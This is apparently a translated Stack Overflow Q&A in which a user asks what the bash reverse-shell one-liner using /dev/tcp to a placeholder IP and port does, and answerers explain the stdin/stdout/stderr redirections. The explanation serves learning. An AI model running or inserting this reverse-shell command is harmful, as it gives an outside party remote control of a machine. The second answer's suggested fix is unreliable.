我正在使用教程找到的这里来测试一个反向shell。
对于使用的命令的含义,我有一些疑问。要在服务器上运行的命令如下:
/bin/bash > /dev/tcp/<IP>/<port> 0<&1 2>&1我想再查一遍它的意思。根据我的理解:
<IP>:<port>。0<&1:将输入从连接&1重定向到stdin 02>&1:将输出从stderr 2重定向到连接&1以上内容正确吗?
发布于 2015-12-01 05:45:33
是的,这是正确的;目标是让所有三个FDs -- stdin、stdout和stderr --指向您的TCP连接。
注意,这个命令需要在使用/dev/tcp编译的bash中运行,这是shell本身提供的一个可选特性,而不是操作系统;此外,这意味着类似于使用/bin/sh的system()之类的东西通常无法调用它。
发布于 2015-12-01 05:47:25
对于STDOUT,使用1>&1,因为2将重定向STDERR流。
所以您的命令应该是- /bin/bash > /dev/tcp/<IP>/<port> 0<&1 1>&1
https://stackoverflow.com/questions/34013412
复制相似问题